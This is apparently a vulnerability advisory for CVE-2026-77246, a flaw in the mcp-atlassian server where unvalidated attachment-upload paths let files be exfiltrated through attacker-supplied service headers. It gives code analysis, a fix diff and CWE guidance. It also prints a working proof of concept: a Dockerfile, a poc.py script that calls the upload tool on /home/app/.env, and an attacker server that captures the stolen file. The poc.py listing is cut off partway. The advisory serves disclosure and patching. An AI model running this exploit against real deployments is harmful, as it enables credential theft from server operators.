GHSA-wv8v-v4c5-v75j CVE-2026-77246 PYSEC-2026-4104
MCP Atlassian: MCP HTTP Client Server-Local File Exfiltration via Unvalidated Attachment Upload Path
- Severity
- 7.4 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.47%
- Chance of exploitation in the next 30 days. Higher than 40.74% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- CWE-441 Unintended Proxy or Intermediary ('Confused Deputy')
- Fix
0.22.0- Upgrade mcp-atlassian to this version or later
Description
Summary
The mcp-atlassian server exposes an MCP tool (confluence_upload_attachment and the Jira attachment variant) that accepts an arbitrary server-side file path and opens it for upload without any path validation. When the server is deployed in HTTP transport mode (streamable-http or sse), a remote, unauthenticated attacker can supply attacker-controlled Atlassian service headers (X-Atlassian-Confluence-Url / X-Atlassian-Confluence-Personal-Token) to redirect the upload to an attacker-controlled endpoint, then pass an arbitrary file_path (e.g. /etc/passwd, ~/.env, SSH private keys, cloud credentials) to exfiltrate any file readable by the server process. No prior account, session token, or Authorization header is required. The vulnerability was confirmed through both static code analysis (Phase 1) and a live Docker-based proof-of-concept (Phase 2).
Details
Data flow (source → sink)
| Step | Location | Role |
|---|---|---|
| 1 | src/mcp_atlassian/servers/main.py:498-504 |
Middleware extracts X-Atlassian-Confluence-Url and X-Atlassian-Confluence-Personal-Token from incoming HTTP request headers. |
| 2 | src/mcp_atlassian/servers/main.py:584-595 |
When no Authorization header is present but service headers are, user_atlassian_auth_type is set to "pat", effectively bypassing authentication requirements. |
| 3 | src/mcp_atlassian/utils/urls.py:97-104 |
validate_url_for_ssrf blocks only localhost, RFC 1918 private ranges, and a small set of metadata hostnames. An attacker-controlled public domain or an allow-listed Docker container hostname (MCP_ALLOWED_URL_DOMAINS) passes this check. |
| 4 | src/mcp_atlassian/servers/dependencies.py:544-545 |
The attacker-controlled URL is injected directly as url= into ConfluenceConfig, constructing a ConfluenceFetcher pointed at the attacker's server. |
| 5 | src/mcp_atlassian/servers/confluence.py:1358-1361 |
The MCP tool argument file_path is forwarded to confluence_fetcher.upload_attachment() without any sanitization. |
| 6 | src/mcp_atlassian/confluence/attachments.py:64-79 |
The path is converted to an absolute path via os.path.abspath() and checked for existence only. validate_safe_path() — already used on download paths — is never called here, leaving no directory restriction in place. |
| 7 | src/mcp_atlassian/confluence/attachments.py:477 |
Sink: files = {"file": (filename, open(file_path, "rb"))} — the file is opened and sent as multipart to the attacker's server. |
| 8 | src/mcp_atlassian/jira/attachments.py:374-386 |
Parallel Jira sink: same os.path.abspath() pattern, no validate_safe_path, then open(file_path, "rb"). |
Key code evidence
# src/mcp_atlassian/confluence/attachments.py
64: if not os.path.isabs(file_path):
65: file_path = os.path.abspath(file_path)
68: if not os.path.exists(file_path):
77: filename = os.path.basename(file_path)
477: files = {"file": (filename, open(file_path, "rb"))} # ← sink
# src/mcp_atlassian/jira/attachments.py
374: if not os.path.isabs(file_path):
375: file_path = os.path.abspath(file_path)
386: with open(file_path, "rb") as file: # ← sink
387: attachment = self.jira.add_attachment(
Why validate_safe_path is absent: The function exists in the codebase and is correctly applied to download/read operations, but it was not applied to the upload path. This asymmetry means an attacker can read any file the server process can access, even though the intent was clearly to restrict path access.
Default configuration enables the attack: READ_ONLY_MODE defaults to false, making write tools (including attachment upload) active by default. HTTP transport is a first-class, documented production deployment mode (README, Helm chart, multi-tenant header-auth design).
Recommended remediation
--- a/src/mcp_atlassian/confluence/attachments.py
+++ b/src/mcp_atlassian/confluence/attachments.py
- if not os.path.isabs(file_path):
- file_path = os.path.abspath(file_path)
+ file_path = str(validate_safe_path(file_path))
filename = os.path.basename(file_path)
- files = {"file": (filename, open(file_path, "rb"))}
+ with open(file_path, "rb") as file_obj:
+ files = {"file": (filename, file_obj)}
+ response = self.confluence._session.put(
+ url, headers=headers, files=files, data=data
+ )
- response = self.confluence._session.put(
- url, headers=headers, files=files, data=data
- )
--- a/src/mcp_atlassian/jira/attachments.py
+++ b/src/mcp_atlassian/jira/attachments.py
- if not os.path.isabs(file_path):
- file_path = os.path.abspath(file_path)
+ file_path = str(validate_safe_path(file_path))
Additional hardening: reject header-based service URLs before fetcher construction using validate_url_for_ssrf with a strict allowlist, and consider defaulting READ_ONLY_MODE=true for remotely reachable deployments.
PoC
Prerequisites
- Docker (CLI + daemon) available on the attacker machine.
- Python 3.x with
httpxinstalled (pip install httpx). - The
mcp-atlassianrepository cloned locally (commitd8bc786or compatible).
Step 1 — Build the victim image
The Dockerfile at vuln-001/Dockerfile builds the mcp-atlassian server and plants a simulated .env file at /home/app/.env containing fake secrets:
SECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3
DB_PASSWORD=pr0duct10n_d4tab4se_p4ss
AWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY
docker build -t mcp-atlassian-vuln001 \
-f vuln-001/Dockerfile \
/path/to/mcp-atlassian-repo
Step 2 — Run the automated PoC script
The poc.py script orchestrates the full attack:
python3 poc.py \
--repo /path/to/mcp-atlassian-repo \
--victim-port 18000 \
--attacker-port 18888
The script performs the following actions automatically:
- Creates a Docker network (
poc-vuln001-net). - Starts an attacker HTTP server container (
poc-vuln001-attacker, port18888) that mimics a Confluence REST API and records multipart upload bodies. - Starts the victim MCP server container (
poc-vuln001-victim, port18000) withREAD_ONLY_MODE=falseandMCP_ALLOWED_URL_DOMAINS=poc-vuln001-attacker. - Sends the following MCP JSON-RPC sequence to
http://127.0.0.1:18000/mcp:
# Step 4a — initialize (no Authorization header)
headers = {
"X-Atlassian-Confluence-Url": "http://poc-vuln001-attacker:8888",
"X-Atlassian-Confluence-Personal-Token": "fake-pat-token-for-poc",
}
POST /mcp {"jsonrpc":"2.0","method":"initialize","id":1,
"params":{"protocolVersion":"2024-11-05","capabilities":{},
"clientInfo":{"name":"vuln001-poc","version":"1.0"}}}
# Step 4b — trigger file exfiltration
POST /mcp {"jsonrpc":"2.0","method":"tools/call","id":3,
"params":{"name":"confluence_upload_attachment",
"arguments":{"content_id":"123",
"file_path":"/home/app/.env"}}}
- Queries
http://127.0.0.1:18888/exfiland verifies that the attacker server received the file contents.
Expected result
The attacker server logs and /exfil endpoint confirm receipt of the victim file:
[attacker] *** EXFILTRATED FILE CONTENT START ***
SECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3
DB_PASSWORD=pr0duct10n_d4tab4se_p4ss
AWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY
[attacker] *** EXFILTRATED FILE CONTENT END ***
Phase 2 result: PASS — file exfiltration confirmed via live Docker PoC.
Impact
Vulnerability class: Unauthenticated server-side file exfiltration through an unvalidated path passed to an MCP attachment upload tool, combined with attacker-controlled service URL injection via HTTP request headers.
Who is impacted:
- Operators running
mcp-atlassianin HTTP transport mode (streamable-httporsse) on a network-reachable endpoint withREAD_ONLY_MODE=false(the default). This includes multi-tenant SaaS deployments, internal tooling servers exposed to a broader corporate network, and any cloud-hosted instance. - Users whose secrets are stored on the server filesystem are at risk of credential theft —
.envfiles, SSH private keys, cloud provider credentials (~/.aws/credentials), kubeconfig files, TLS certificates, and any other file readable by the process.
Constraints on exploitability:
- The server must be running in HTTP transport mode (not the default
stdiomode). READ_ONLY_MODEmust not be set totrue.- The attacker must be able to reach the
/mcpendpoint (adjacent network or internet, depending on deployment). - The SSRF domain allowlist (
MCP_ALLOWED_URL_DOMAINS) must permit the attacker's hostname, or the attacker must control a public domain that passes the IP blocklist check.
Despite these preconditions, all are met in documented production deployment configurations described in the project's own README and Helm chart.
Reproduction artifacts
Dockerfile
# VULN-001 PoC Victim Image
# Build con: mcp-atlassian repo root (use: docker build -f vuln-001/Dockerfile .)
# Builds the mcp-atlassian server and creates a secret file for exfiltration demonstration.
FROM ghcr.io/astral-sh/uv:python3.13-alpine AS builder
WORKDIR /app
ENV UV_COMPILE_BYTECODE=1
ENV UV_LINK_MODE=copy
# Copy dependency files
COPY pyproject.toml README.md uv.lock ./
# Install dependencies (without the project itself to leverage caching)
RUN --mount=type=cache,target=/root/.cache/uv \
uv sync --frozen --no-install-project --no-dev --no-editable
# Copy source and install the project
COPY src ./src
RUN --mount=type=cache,target=/root/.cache/uv \
uv sync --frozen --no-dev --no-editable
# Strip bytecode cache to reduce image size
RUN find /app/.venv -name '__pycache__' -type d -exec rm -rf {} + 2>/dev/null || true && \
find /app/.venv -name '*.pyc' -delete 2>/dev/null || true
# ── Final Stage ──────────────────────────────────────────────────────────────
FROM python:3.13-alpine
# Create non-root user mirroring a typical prod deployment
RUN adduser -D -h /home/app -s /bin/sh app
# Plant a sensitive file that the PoC will exfiltrate
RUN printf 'SECRET_DEPLOY_KEY=PoC_ExFiLtRaTeD_s3cr3t_k3y_d0_n0t_sh4r3\n' > /home/app/.env && \
printf 'DB_PASSWORD=pr0duct10n_d4tab4se_p4ss\n' >> /home/app/.env && \
printf 'AWS_SECRET_ACCESS_KEY=AKIA_FAKE_KEY_FOR_POC_ONLY\n' >> /home/app/.env && \
chown app:app /home/app/.env
WORKDIR /app
USER app
COPY --from=builder --chown=app:app /app/.venv /app/.venv
ENV PATH="/app/.venv/bin:$PATH"
ENV PYTHONUNBUFFERED=1
# Default: streamable-http on 0.0.0.0:8000 (overridable at runtime)
ENTRYPOINT ["mcp-atlassian"]
CMD ["--transport", "streamable-http", "--port", "8000", "--host", "0.0.0.0"]
poc.py
#!/usr/bin/env python3
"""
VULN-001 PoC — MCP HTTP Client: Server-Local File Exfiltration via
Unvalidated Attachment Upload Path (CWE-200, CVSS 7.4)
Attack chain:
1. Attacker sends X-Atlassian-Confluence-Url / Personal-Token headers — no
Authorization header required (unauthenticated PAT path, main.py:584-595).
2. SSRF check passes because MCP_ALLOWED_URL_DOMAINS whitelists the attacker
container hostname, bypassing DNS validation (urls.py:107-111).
3. ConfluenceFetcher is constructed with the attacker-controlled URL
(dependencies.py:544-545).
4. confluence_upload_attachment is called with file_path=/home/app/.env —
the path is absolutized but never validated against a safe root
(attachments.py:64-79).
5. The file is opened and PUT-ed as multipart to the attacker server
(attachments.py:477,490).
Usage:
python3 poc.py [--repo /path/to/repo] [--victim-port 18000]
[--attacker-port 18888] [--no-cleanup]
Requirements on the host running this script:
- docker (CLI + daemon)
- python3 with httpx (pip install httpx)
"""
import argparse
import json
import os
import subprocess
import sys
import textwrap
import time
# ── constants ──────────────────────────────────────────────────────────────
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
DEFAULT_REPO = os.path.join(
os.path.dirname(SCRIPT_DIR), "repo"
)
DOCKERFILE_PATH = os.path.join(SCRIPT_DIR, "Dockerfile")
NETWORK_NAME = "poc-vuln001-net"
VICTIM_NAME = "poc-vuln001-victim"
ATTACKER_NAME = "poc-vuln001-attacker"
VICTIM_IMAGE = "mcp-atlassian-vuln001"
ATTACKER_IMAGE = "python:3.12-slim"
TARGET_FILE = "/home/app/.env" # sensitive file planted in the victim image
# ── attacker server source (injected into the attacker container) ──────────
ATTACKER_SERVER_SRC = textwrap.dedent(r"""
import http.server, json, re, sys, threading
_exfil = [] # captured files
class H(http.server.BaseHTTPRequestHandler):
def log_message(self, fmt, *a):
print(f"[attacker-http] {fmt % a}", flush=True)
# Confluence auth probe — return a minimal valid user object
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
if self.path.rstrip("/") == "/exfil":
self.wfile.write(json.dumps({"files": _exfil}).encode())
elif self.path.rstrip("/") == "/ready":
self.wfile.write(b'{"status":"ok"}')
else:
self.wfile.write(json.dumps({
"key": "attacker-user", "displayName": "Attacker",
"emailAddress": "attacker@evil.example", "active": True,
"accountType": "atlassian"
}).encode())
def do_PUT(self): self._recv()
def do_POST(self): self._recv()
def _recv(self):
cl = int(self.headers.get("Content-Length", 0))
body = self.rfile.read(cl) if cl else b""
ct = self.headers.get("Content-Type", "")
print(f"[attacker] {self.command} {self.path} body={len(body)}b ct={ct}", flush=True)
file_data = b""
if "multipart" in ct and body:
bm = re.search(r"boundary[=\s]+([\w\-]+)", ct)
if bm:
boundary = bm.group(1).encode()
for part in body.split(b"--" + boundary):
if b"\r\n\r\n" not in part:
continue
hdr, _, data = part.partition(b"\r\n\r\n")
if b'name="file"' in hdr or b"filename" in hdr:
file_data = data.rstrip(b"\r\n--")
break
if file_data:
text = file_data.decode(errors="replace")
print("[attacker] *** EXFILTRATED FILE CONTENT START ***", flush=True)
print(text[:4096], flush=True)
print("[attacker] *** EXFILTRATED FILE CONTENT END ***", flush=True)
_exfil.append({"path": self.path, "content": text[:4096], "size": len(file_data)})
else:
print("[attacker] WARNING: no file data found in request", flush=True)
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(json.dumps({
"results": [{
"id": "att-001", "type": "attachment", "title": "exfiltrated",
"metadata": {"mediaType": "text/plain"},
"extensions": {"fileSize": len(file_data)}
}]
}).encode())
server = http.server.HTTPServer(("0.0.0.0", 8888), H)
print("[attacker] listening on 0.0.0.0:8888", flush=True)
sys.stdout.flush()
server.serve_forever()
""").strip()
# ── helpers ────────────────────────────────────────────────────────────────
def run(cmd: str, **kw):
r = subprocess.run(cmd, shell=True, capture_output=True, text=True, **kw)
return r.returncode, r.stdout, r.stderr
def run_ok(cmd: str, label: str = "") -> str:
rc, out, err = run(cmd)
if rc != 0:
tag = f" ({label})" if label else ""
print(f"[FAIL] Command{tag} exited {rc}:\n cmd: {cmd}\n stdout: {out}\n stderr: {err}", file=sys.stderr)
sys.exit(1)
return out
def docker_logs(name: str) -> str:
_, out, err = run(f"docker logs {name} 2>&1")
return out + err
def wait_http(url: str, timeout: int = 60, interval: float = 1.5) -> bool:
import urllib.request
deadline = time.time() + timeout
while time.time() < deadline:
try:
with urllib.request.urlopen(url, timeout=3) as r:
if r.status < 500:
return True
except Exception:
pass
time.sleep(interval)
return False
def cleanup(victim_name: str, attacker_name: str, network: str):
run(f"docker rm -f {victim_name} {attacker_name} 2>/dev/null")
run(f"docker network rm {network} 2>/dev/null")
def parse_sse_result(text: str) -> dict | None:
"""Extract the first JSON-RPC result from an SSE or plain-JSON body."""
for line in text.splitlines():
line = line.strip()
if line.startswith("data:"):
payload = line[5:].strip()
elif line.startswith("{"):
payload = line
else:
continue
try:
obj = json.loads(payload)
if "result" in obj or "error" in obj:
return obj
except json.JSONDecodeError:
continue
return None
# ── MCP client (pure stdlib + httpx) ──────────────────────────────────────
def mcp_exploit(victim_url: str, attacker_container_url: str, target_file: str) -> dict:
"""
Drive the MCP streamable-http protocol to call confluence_upload_attachment
with an arbitrary file_path.
Returns a dict with keys: success, session_id, response_text, error.
"""
import httpx
service_headers = {
"X-Atlassian-Confluence-Url": attacker_container_url,
"X-Atlassian-Confluence-Personal-Token": "fake-pat-token-for-poc",
}
base_headers = {
**service_headers,
"Content-Type": "application/json",
"Accept": "application/json, text/event-stream",
}
with httpx.Client(timeout=30) as client:
# ── 1. initialize ──────────────────────────────────────────────
print(f"[poc] Sending initialize to {victim_url}")
resp = client.post(victim_url, headers=base_headers, json={
"jsonrpc": "2.0", "method": "initialize", "id": 1,
"params": {
"protocolVersion": "2024-11-05",
"capabilities": {},
"clientInfo": {"name": "vuln001-poc", "version": "1.0"},
}
})
if resp.status_code not in (200, 201):
return {"success": False, "error": f"initialize failed: HTTP {resp.status_code}\n{resp.text[:400]}"}
session_id = resp.headers.get("mcp-session-id") or resp.headers.get("Mcp-Session-Id")
print(f"[poc] Session-Id: {session_id}")
session_headers = {**base_headers}
if session_id:
session_headers["Mcp-Session-Id"] = session_id
# ── 2. notifications/initialized ─────…
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| mcp-atlassian | < 0.22.0 |
0.22.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
mcp-atlassian PyPI → 0.22.0
- pip
pip install --upgrade "mcp-atlassian>=0.22.0"- poetry
poetry add "mcp-atlassian>=0.22.0"- uv
uv add "mcp-atlassian>=0.22.0"
Severity breakdown
CVSS 3.1 7.4
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
- Attack vector
- Adjacent
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Weakness
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.
How to prevent it
- Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
How to prevent it
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
- Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
- Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')
The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. This causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor.
How to prevent it
- Architecture and Design: Enforce the use of strong mutual authentication mechanism between the two parties.
- Architecture and Design: Whenever a product is an intermediary or proxy for transactions between two other components, the proxy core should not drop the identity of the initiator of the transaction. The immutability of the identity of the initiator must be maintained and should be forwarded all the way to the target.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-g2r2-3j32-j27x MCP Atlassian: Reflected XSS in OAuth Setup Callback Handler | Medium | Also affects mcp-atlassian |
| GHSA-h7wj-5v37-59r2 MCP Atlassian: Path traversal in upload_attachment allows arbitrary file read (incomplete fix for CVE-2026-27825) | Medium | Also affects mcp-atlassian |
| GHSA-4596-2p6p-28cv MCP Atlassian: Insecure File Permissions on OAuth Token Storage | Medium | Also affects mcp-atlassian |
| GHSA-mfv2-4wvm-9pgp MCP Atlassian: Path traversal in upload_attachment allows arbitrary file read and exfiltration via MCP tool call | Medium | Also affects mcp-atlassian |
| GHSA-p6hp-93wp-fh6p MCP Atlassian: Path Traversal / Arbitrary File Read in confluence_upload_attachment MCP tool (incomplete fix of GHSA-xjgw-4wvw-rgm4) | High | Also affects mcp-atlassian |
| GHSA-6cr4-ccf3-x7h4 MCP Atlassian: Arbitrary file read via confluence_upload_attachment allows exfiltration of server credentials | High | Also affects mcp-atlassian |
| GHSA-mrq8-fv7v-hhjg MCP Atlassian: HTTP upload tools accept arbitrary server-local file paths | Medium | Also affects mcp-atlassian |
| GHSA-2xj6-xx86-cwwc MCP Atlassian: Arbitrary File Read & Exfiltration (Confused Deputy) in JIRA update_issue | High | Also affects mcp-atlassian |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor